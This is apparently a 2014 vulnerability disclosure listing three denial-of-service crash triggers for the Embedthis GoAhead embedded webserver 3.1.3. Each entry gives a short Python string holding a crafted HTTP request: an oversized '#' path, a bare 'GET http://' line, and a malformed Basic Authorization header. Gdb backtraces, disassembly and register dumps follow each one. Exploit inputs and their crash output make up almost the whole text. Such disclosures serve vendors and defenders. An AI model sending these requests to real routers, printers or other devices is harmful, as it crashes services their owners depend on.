# Title: Embedthis Goahead Webserver multiple DoS vulnerabilities.
# Author: 0in (Maksymilian Motyl)
# Date: 18.02.2014
# Version: 3.1.3-0
# Software Link: http://embedthis.com/products/goahead/
# Download: https://github.com/embedthis/goahead
# Tested on: Linux x32
# Description:
# "GoAhead is embedded in hundreds of millions of devices and applications like: printers, routers, switches, IP phones, mobile applications, data acquisition,
# military applications and WIFI gateways."
# .... Ok.
# But I cannot confirm any vulnerability in products listed at http://embedthis.com/products/goahead/users.html
-----------------------------------------------
1st vulnerability
***************************************
#!/usr/bin/python
packet="GET /cgi-bin/test/a/c/?"+"#"*1024+".cgi/c.txt HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"User-Agent: BillyExploiter\r\n"\
"Accept: text/html\r\n"\
"Accept-Language: pl\r\n"\
"Accept-Encoding: gzip, deflate\r\n"\
"Connection: keep-alive"
***************************************
Program received signal SIGABRT, Aborted.
0xb7772424 in __kernel_vsyscall ()
(gdb) bt
#0 0xb7772424 in __kernel_vsyscall ()
#1 0xb757d941 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2 0xb7580d72 in *__GI_abort () at abort.c:92
#3 0xb75b9e15 in __libc_message (do_abort=2,
fmt=0xb7691e70 "*** glibc detected *** %s: %s: 0x%s ***\n")
at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#4 0xb75c3f01 in malloc_printerr (action=<optimized out>,
str=0x6 <Address 0x6 out of bounds>, ptr=0xb7765dad) at malloc.c:6283
#5 0xb75c517e in munmap_chunk (p=<optimized out>) at malloc.c:3540
#6 0xb7752d74 in termWebs (wp=wp@entry=0x8573240, reuse=reuse@entry=1)
at src/http.c:457
#7 0xb775309c in reuseConn (wp=0x8573240) at src/http.c:520
#8 complete (wp=wp@entry=0x8573240, reuse=reuse@entry=1) at src/http.c:575
#9 0xb7754571 in websPump (wp=wp@entry=0x8573240) at src/http.c:837
#10 0xb7755606 in readEvent (wp=0x8573240) at src/http.c:797
#11 socketEvent (wptr=0x8573240, mask=2, sid=<optimized out>) at src/http.c:735
*** glibc detected *** goahead: munmap_chunk(): invalid pointer: 0xb7765dad ***
(gdb) x/xw 0xb7765dad
0xb7765dad: 0x74746800 # "tth"
-----------------------------------------------
2nd vulnerability
***************************************
#!/usr/bin/python
packet="GET http:// HTTP/1.1\r\n"
# Same crash happens when:
packet="GET http://dupa: HTTP/1.1\r\n"
***************************************
Program received signal SIGSEGV, Segmentation fault.
websDecodeUrl (decoded=decoded@entry=0xb7756253 "/",
input=input@entry=0xb7756253 "/", len=<optimized out>, len@entry=-1)
at src/http.c:2225
warning: Source file is more recent than executable.
2225 *op = *ip;
(gdb) bt
#0 websDecodeUrl (decoded=decoded@entry=0xb7756253 "/",
input=input@entry=0xb7756253 "/", len=<optimized out>, len@entry=-1)
at src/http.c:2225
#1 0xb774248f in websUrlParse (url=0x83bf140 "http", url@entry=0x83cd58c "http://",
pbuf=pbuf@entry=0xbfe6ce14, pprotocol=pprotocol@entry=0x0,
phost=phost@entry=0xbfe6ce00, pport=pport@entry=0xbfe6ce0c,
ppath=ppath@entry=0xbfe6ce08, pext=pext@entry=0xbfe6ce10,
preference=preference@entry=0x0, pquery=pquery@entry=0xbfe6ce04)
at src/http.c:3122
#2 0xb7745079 in parseFirstLine (wp=0x83bf240) at src/http.c:949
#3 parseIncoming (wp=0x83bf240) at src/http.c:870
(gdb) disas $eip
0xb773fb28 <+72>: cmp $0x25,%dl
0xb773fb2b <+75>: je 0xb773fb70 <websDecodeUrl+144>
=> 0xb773fb2d <+77>: mov %dl,(%esi)
(gdb) info reg
eax 0x1 1
ecx 0x13 19
edx 0x2f 47
ebx 0xb775e91c -1217009380
esp 0xbfe6cd20 0xbfe6cd20
ebp 0xb7756254 0xb7756254
esi 0xb7756253 -1217043885
edi 0xb7756253 -1217043885
eip 0xb773fb2d 0xb773fb2d <websDecodeUrl+77>
(gdb) x/xw 0xb7756253
0xb7756253: 0x7473002f
-----------------------------------------------
3rd vulnerability
***************************************
#!/usr/bin/python
packet="GET http://127.0.0.1/auth/basic/ HTTP/1.1\r\n"\
"Host: 127.0.0.1\r\n"\
"Accept: text/html\r\n"\
"Accept-Language: pl\r\n"\
"Accept-Encoding: gzip, deflate\r\n"\
"Connection: keep-alive\r\n"
"Authorization: Basic #\r\n"
***************************************
(gdb) bt
#0 strchr () at ../sysdeps/i386/strchr.S:127
#1 0xb770652a in parseBasicDetails (wp=0x8055240) at src/auth.c:717
#2 0xb7706c31 in websAuthenticate (wp=wp@entry=0x8055240) at src/auth.c:110
#3 0xb7717532 in websRouteRequest (wp=wp@entry=0x8055240) at src/route.c:85
(gdb) disas $eip
0xb758799a <+90>: lea 0x0(%esi),%esi
0xb75879a0 <+96>: add $0x10,%eax
=> 0xb75879a3 <+99>: mov (%eax),%ecx
(gdb) info reg
eax 0x0 0
ecx 0x3a3a 14906
edx 0x3a3a3a3a 976894522
ebx 0xb772a91c -1217222372
esp 0xbfc71428 0xbfc71428
ebp 0x8055240 0x8055240
esi 0x8055240 134566464
edi 0x0 0
eip 0xb75879a3 0xb75879a3 <strchr+99>
